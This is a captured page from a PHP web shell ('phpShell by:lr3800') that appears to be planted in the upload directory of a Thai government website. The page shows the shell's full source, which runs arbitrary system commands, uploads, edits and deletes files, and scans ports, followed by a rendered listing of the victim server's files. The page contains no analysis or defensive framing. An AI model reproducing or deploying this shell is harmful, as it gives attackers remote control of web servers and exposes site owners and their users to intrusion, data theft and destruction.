phpshell

服务器: www.msdmec.go.th
当前目录: C:\AppServ\www\mfu\upload
环境: Apache/2.2.4 (Win32) PHP/5.2.3

请使用者注意使用环境并遵守国家相关法律法规！ http://lr3800.com

File: root.php

<?php
?>
<html>
<head>
<title>
phpShell by:lr3800
</title>
</head>
<body>
<style type="text/css">
body{
background:url(http://lr3800.com/12306/images/background.gif);
color: #666666;
font-family: Verdana;
font-size: 11px;
}
a:link{
color: #33CC99;
}
a:visited{
color: #33CC99;
}
a:hover{
text-decoration: none;
Color: #3399FF;
}
table {
font-size: 11px;
}
</style>
<?php 
error_reporting(0);
set_time_limit(0);
if (empty($_GET['dir'])) {
    $dir = getcwd();
} else {
    $dir = $_GET['dir'];
}
chdir($dir);
$current = htmlentities($_SERVER['PHP_SELF'] . '?dir=' . $dir);
echo '<center><h1>phpshell</h1></center><p><hr><p>
';
echo '<i>服务器: ' . $_SERVER['SERVER_NAME'] . '<br>
';
echo '当前目录: ' . getcwd() . '<br>
';
echo '环境: ' . $_SERVER['SERVER_SOFTWARE'] . '<pre>

</pre></i>
';
echo '
	请使用者注意使用环境并遵守国家相关法律法规！
	 http://lr3800.com';
echo '<pre>

</pre>';
echo '<table width = 50%>';
echo '<tr>';
echo '<td><a href = \'' . $current . '&mode=system\'>Shell Command</a></td>
';
echo '<td><a href = \'' . $current . '&mode=create\'>新建文件</a></td>
';
echo '<td><a href = \'' . $current . '&mode=upload\'>上传文件</a></td>
';
echo '<td><a href = \'' . $current . '&mode=port_scan\'>端口扫描</a></td>
';
echo '</tr></table>';
echo '<pre>

</pre>';
$mode = $_GET['mode'];
switch ($mode) {
    case 'edit':
        $file = $_GET['file'];
        $new = $_POST['new'];
        if (empty($new)) {
            $fp = fopen($file, 'r');
            $file_cont = fread($fp, filesize($file));
            $file_cont = str_replace('<textarea>', '<textarea>', $file_cont);
            echo '<form action = \'' . $current . '&mode=edit&file=' . $file . '\' method = \'POST\'>
';
            echo 'File: ' . $file . '<br>
';
            echo '<textarea name = \'new\' rows = \'30\' cols = \'50\'>' . $file_cont . '<textarea><br>
';
            echo '<input type = \'submit\' value = \'Edit\'></form>
';
        } else {
            $fp = fopen($file, 'w');
            if (fwrite($fp, $new)) {
                echo $file . ' edited.<p>';
            } else {
                echo 'Unable to edit ' . $file . '.<p>';
            }
        }
        fclose($fp);
        break;
    case 'delete':
        $file = $_GET['file'];
        if (unlink($file)) {
            echo $file . ' deleted successfully.<p>';
        } else {
            echo 'Unable to delete ' . $file . '.<p>';
        }
        break;
    case 'copy':
        $src = $_GET['src'];
        $dst = $_POST['dst'];
        if (empty($dst)) {
            echo '<form action = \'' . $current . '&mode=copy&src=' . $src . '\' method = \'POST\'>
';
            echo 'Destination: <input name = \'dst\'><br>
';
            echo '<input type = \'submit\' value = \'Copy\'></form>
';
        } else {
            if (copy($src, $dst)) {
                echo 'File copied successfully.<p>
';
            } else {
                echo 'Unable to copy ' . $src . '.<p>
';
            }
        }
        break;
    case 'move':
        $src = $_GET['src'];
        $dst = $_POST['dst'];
        if (empty($dst)) {
            echo '<form action = \'' . $current . '&mode=move&src=' . $src . '\' method = \'POST\'>
';
            echo 'Destination: <input name = \'dst\'><br>
';
            echo '<input type = \'submit\' value = \'Move\'></form>
';
        } else {
            if (rename($src, $dst)) {
                echo 'File moved successfully.<p>
';
            } else {
                echo 'Unable to move ' . $src . '.<p>
';
            }
        }
        break;
    case 'rename':
        $old = $_GET['old'];
        $new = $_POST['new'];
        if (empty($new)) {
            echo '<form action = \'' . $current . '&mode=rename&old=' . $old . '\' method = \'POST\'>
';
            echo 'New name: <input name = \'new\'><br>
';
            echo '<input type = \'submit\' value = \'Rename\'></form>
';
        } else {
            if (rename($old, $new)) {
                echo 'File/Directory renamed successfully.<p>
';
            } else {
                echo 'Unable to rename ' . $old . '.<p>
';
            }
        }
        break;
    case 'rmdir':
        $rm = $_GET['rm'];
        if (rmdir($rm)) {
            echo 'Directory removed successfully.<p>
';
        } else {
            echo 'Unable to remove ' . $rm . '.<p>
';
        }
        break;
    case 'system':
        $cmd = $_POST['cmd'];
        if (empty($cmd)) {
            echo '<form action = \'' . $current . '&mode=system\' method = \'POST\'>
';
            echo 'Shell Command: <input name = \'cmd\'>
';
            echo '<input type = \'submit\' value = \'Run\'></form><p>
';
        } else {
            system($cmd);
        }
        break;
    case 'create':
        $new = $_POST['new'];
        if (empty($new)) {
            echo '<form action = \'' . $current . '&mode=create\' method = \'POST\'>
';
            echo '<tr><td>New file: <input name = \'new\'></td>
';
            echo '<td><input type = \'submit\' value = \'Create\'></td></tr></form>
<p>';
        } else {
            if ($fp = fopen($new, 'w')) {
                echo 'File created successfully.<p>
';
            } else {
                echo 'Unable to create ' . $file . '.<p>
';
            }
            fclose($fp);
        }
        break;
    case 'upload':
        $temp = $_FILES['upload_file']['tmp_name'];
        $file = basename($_FILES['upload_file']['name']);
        if (empty($file)) {
            echo '<form action = \'' . $current . '&mode=upload\' method = \'POST\' ENCTYPE=\'multipart/form-data\'>
';
            echo 'Local file: <input type = \'file\' name = \'upload_file\'>
';
            echo '<input type = \'submit\' value = \'Upload\'>
';
            echo '</form>
<pre>

</pre>';
        } else {
            if (move_uploaded_file($temp, $file)) {
                echo 'File uploaded successfully.<p>
';
                unlink($temp);
            } else {
                echo 'Unable to upload ' . $file . '.<p>
';
            }
        }
        break;
    case 'port_scan':
        $port_range = $_POST['port_range'];
        if (empty($port_range)) {
            echo '<table><form action = \'' . $current . '&mode=port_scan\' method = \'POST\'>';
            echo '<tr><td><input type = \'text\' name = \'port_range\'></td><td>';
            echo '输入端口范围要做端口扫描（例：0:65535）</td></tr>';
            echo '<tr><td><input type = \'submit\' value = \'扫描\'></td></tr></form></table>';
        } else {
            $range = explode(':', $port_range);
            if (!is_numeric($range[0]) or !is_numeric($range[1])) {
                echo 'Bad parameters.<br>';
            } else {
                $host = 'localhost';
                $from = $range[0];
                $to = $range[1];
                echo 'Open ports:<br>';
                while ($from <= $to) {
                    $var = 0;
                    $fp = fsockopen($host, $from) or $var = 1;
                    if ($var == 0) {
                        echo $from . '<br>';
                    }
                    $from++;
                    fclose($fp);
                }
            }
        }
        break;
}
clearstatcache();
echo '<pre>

</pre>';
echo '<table width = 100%>
';
$files = scandir($dir);
foreach ($files as $file) {
    if (is_file($file)) {
        $size = round(filesize($file) / 1024, 2);
        echo '<tr><td>' . $file . '</td>';
        echo '<td>' . $size . ' KB</td>';
        echo '<td><a href = ' . $current . '&mode=edit&file=' . $file . '>Edit</a></td>
';
        echo '<td><a href = ' . $current . '&mode=delete&file=' . $file . '>Delete</a></td>
';
        echo '<td><a href = ' . $current . '&mode=copy&src=' . $file . '>Copy</a></td>
';
        echo '<td><a href = ' . $current . '&mode=move&src=' . $file . '>Move</a></td>
';
        echo '<td><a href = ' . $current . '&mode=rename&old=' . $file . '>Remame</a></td></tr>
';
    } else {
        $items = scandir($file);
        $items_num = count($items) - 2;
        echo '<tr><td>' . $file . '</td>';
        echo '<td>' . $items_num . ' Items</td>';
        echo '<td><a href = ' . $current . '/' . $file . '>Change directory</a></td>
';
        echo '<td><a href = ' . $current . '&mode=rmdir&rm=' . $file . '>Remove directory</a></td>
';
        echo '<td><a href = ' . $current . '&mode=rename&old=' . $file . '>Rename directory</a></td></tr>
';
    }
}
echo '</table>
';<textarea><br>
<input type = 'submit' value = 'Edit'></form>
<pre>

</pre><table width = 100%>
<tr><td>.</td><td>18 Items</td><td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload/.>Change directory</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=rmdir&rm=.>Remove directory</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=rename&old=.>Rename directory</a></td></tr>
<tr><td>..</td><td>20 Items</td><td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload/..>Change directory</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=rmdir&rm=..>Remove directory</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=rename&old=..>Rename directory</a></td></tr>
<tr><td>Desktop_1.ini</td><td>0.01 KB</td><td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=edit&file=Desktop_1.ini>Edit</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=delete&file=Desktop_1.ini>Delete</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=copy&src=Desktop_1.ini>Copy</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=move&src=Desktop_1.ini>Move</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=rename&old=Desktop_1.ini>Remame</a></td></tr>
<tr><td>account_images</td><td>5 Items</td><td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload/account_images>Change directory</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=rmdir&rm=account_images>Remove directory</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=rename&old=account_images>Rename directory</a></td></tr>
<tr><td>attach</td><td>97 Items</td><td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload/attach>Change directory</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=rmdir&rm=attach>Remove directory</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=rename&old=attach>Rename directory</a></td></tr>
<tr><td>blog</td><td>2 Items</td><td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload/blog>Change directory</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=rmdir&rm=blog>Remove directory</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=rename&old=blog>Rename directory</a></td></tr>
<tr><td>calendar</td><td>4 Items</td><td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload/calendar>Change directory</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=rmdir&rm=calendar>Remove directory</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=rename&old=calendar>Rename directory</a></td></tr>
<tr><td>cms</td><td>4 Items</td><td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload/cms>Change directory</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=rmdir&rm=cms>Remove directory</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=rename&old=cms>Rename directory</a></td></tr>
<tr><td>download</td><td>47255 Items</td><td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload/download>Change directory</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=rmdir&rm=download>Remove directory</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=rename&old=download>Rename directory</a></td></tr>
<tr><td>goup.php</td><td>4.8 KB</td><td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=edit&file=goup.php>Edit</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=delete&file=goup.php>Delete</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=copy&src=goup.php>Copy</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=move&src=goup.php>Move</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=rename&old=goup.php>Remame</a></td></tr>
<tr><td>hall</td><td>148 Items</td><td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload/hall>Change directory</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=rmdir&rm=hall>Remove directory</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=rename&old=hall>Rename directory</a></td></tr>
<tr><td>htmlfiles</td><td>0 Items</td><td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload/htmlfiles>Change directory</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=rmdir&rm=htmlfiles>Remove directory</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=rename&old=htmlfiles>Rename directory</a></td></tr>
<tr><td>id.php</td><td>0.55 KB</td><td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=edit&file=id.php>Edit</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=delete&file=id.php>Delete</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=copy&src=id.php>Copy</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=move&src=id.php>Move</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=rename&old=id.php>Remame</a></td></tr>
<tr><td>library</td><td>0 Items</td><td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload/library>Change directory</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=rmdir&rm=library>Remove directory</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=rename&old=library>Rename directory</a></td></tr>
<tr><td>member</td><td>297 Items</td><td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload/member>Change directory</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=rmdir&rm=member>Remove directory</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=rename&old=member>Rename directory</a></td></tr>
<tr><td>notice4_5.pdf</td><td>1636.78 KB</td><td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=edit&file=notice4_5.pdf>Edit</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=delete&file=notice4_5.pdf>Delete</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=copy&src=notice4_5.pdf>Copy</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=move&src=notice4_5.pdf>Move</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=rename&old=notice4_5.pdf>Remame</a></td></tr>
<tr><td>root.php</td><td>8.59 KB</td><td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=edit&file=root.php>Edit</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=delete&file=root.php>Delete</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=copy&src=root.php>Copy</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=move&src=root.php>Move</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=rename&old=root.php>Remame</a></td></tr>
<tr><td>schedule</td><td>34 Items</td><td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload/schedule>Change directory</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=rmdir&rm=schedule>Remove directory</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=rename&old=schedule>Rename directory</a></td></tr>
<tr><td>thumbnail</td><td>0 Items</td><td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload/thumbnail>Change directory</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=rmdir&rm=thumbnail>Remove directory</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=rename&old=thumbnail>Rename directory</a></td></tr>
<tr><td>wfme.pdf</td><td>2293.96 KB</td><td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=edit&file=wfme.pdf>Edit</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=delete&file=wfme.pdf>Delete</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=copy&src=wfme.pdf>Copy</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=move&src=wfme.pdf>Move</a></td>
<td><a href = /mfu/upload/root.php?dir=C:\\AppServ\\www\\mfu\\upload&mode=rename&old=wfme.pdf>Remame</a></td></tr>
</table>